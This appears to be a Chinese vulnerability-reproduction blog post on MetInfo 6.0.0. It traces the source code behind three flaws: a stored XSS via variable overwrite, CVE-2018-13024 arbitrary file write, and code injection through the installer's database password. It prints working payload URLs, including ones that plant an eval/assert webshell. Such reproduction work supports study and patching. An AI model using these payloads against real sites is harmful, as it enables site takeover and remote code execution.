根据seebug等相关网站、博客文章进行漏洞复现。
下载Metinfo6.0.0版本
Centos/83端口
访问环境:
2018年12月27日,Metinfo被爆出存在存储型跨站脚本漏洞,远程攻击者无需登录可插入恶意代码,管理员在后台管理时即可触发。该XSS漏洞引起的原因是变量覆盖.
影响范围及利用条件
Metinfo 6.x (6.0.0-6.1.3)
无需登录,知晓后台登陆地址。
查看admin/login/login_check.php文件,第12行代码,$url_array数组中某个元素被赋值给$turefile,经过条件判断后赋值给$met_adminfile,随后经过authcode方法加密后再赋值给$truefile。最后执行update SQL操作,将之前加密后的字符串插入数据库:
代码第7行包含了/admin/include/common.inc.php,跟进common.inc.php。在代码第10行发现变量$url_array被赋值,发现$url_array是以后台绝对路径分割而成的数组,而后台路径是安装时就确定的。在commin.inc.php,在代码77-82行,这是一个典型的对输入参数名进行变量注册的循环,并且是在$url_array赋值之后,存在变量覆盖漏洞。其中,XSS的触发点位于/app/system/safe/admin/index.clss.php的doindex方法中,此方法对应着后台的【安全-安全与效率】操作。管理员在进行后台操作时,Metinfo会提前将met_config表中的数据取出,并放到全局变量$_M中;
在/app/system/safe/admin/index.clss.php 的行首调用了/app/system/include/class/load.class.php中的sys_class方法加载系统类文件,这里加载了/app/system/include/class/admin.class.php。
发现admin类继承了common类,common类的构造函数执行了load_confg_global方法加载全站配置数据。通过$localurl_admin数据最后返回到index.php,未过滤导致XSS出现:
完成的POC为:
admin/login/login_check.php?url_array[]=<script>alert(1)</script>&url_array[]=a
输入完成后点击管理员打开后台安全-安全与效率,直接触发
该漏洞编号是:CVE-2018-13024。漏洞发生在
metinfo6.0.0\admin\column\save.php的column_copyconfig函数,跟进发现在:/*复制首页
*/ function Copyindx($newindx,$type){if(!file_exists($newindx)){
$oldcont="<?php\n# MetInfo Enterprise Content Management System \n# Copyright(C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. \n\$filpy =basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once'../include/module.php'; \nrequire_once \$module; \n# This program is an opensource system, commercial use, please consciously to purchase commerciallicense.\n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rightsreserved.\n?>";
$fp =fopen($newindx,w);
fputs($fp, $oldcont);
fclose($fp);
}
}
可以看到这里将$type变量直接写入了文件中,而$type变量一直可以追溯到column_copyconfig的$module变量而metinfo一个经典的伪全局变量覆盖,在metinfo6.0.0\admin\include\common.inc.php中。
foreach(array('_COOKIE','_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key =daddslashes($_value,0,0,1);
$_M['form'][$_key]=daddslashes($_value,0,0,1);
}
}
这样我们可以通过传入get参数,覆盖$module变量,导致任意文件写入。
管理员身份登录后,访问完整的POC:
http://192.168.0.107:83/admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[a]);/*
菜刀连接upload目录下的index.php文件
在注册文件夹install中的首页index.php中,也就是安装文件的首页:
对于填写的信息没有做过滤,很多的cms都是类似的结果。我们在安装过程中,在密码位置填写
pass = "*/assert($_REQUEST[a])/*"拼接之后代码为:
<?php
/*
con_db_host = "localhost" con_db_port = "3306"con_db_id = "root" con_db_pass = ""*/assert($_REQUEST[a]);/*""con_db_name = "metinfo" tablepre = "met_" db_charset ="utf8";
*/
?>
接着访问config/config_db.php文件即可造成注入利用
http://127.0.0.1:88/MetInfo6.0.0/config/config_db.php?a=phpinfo();
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有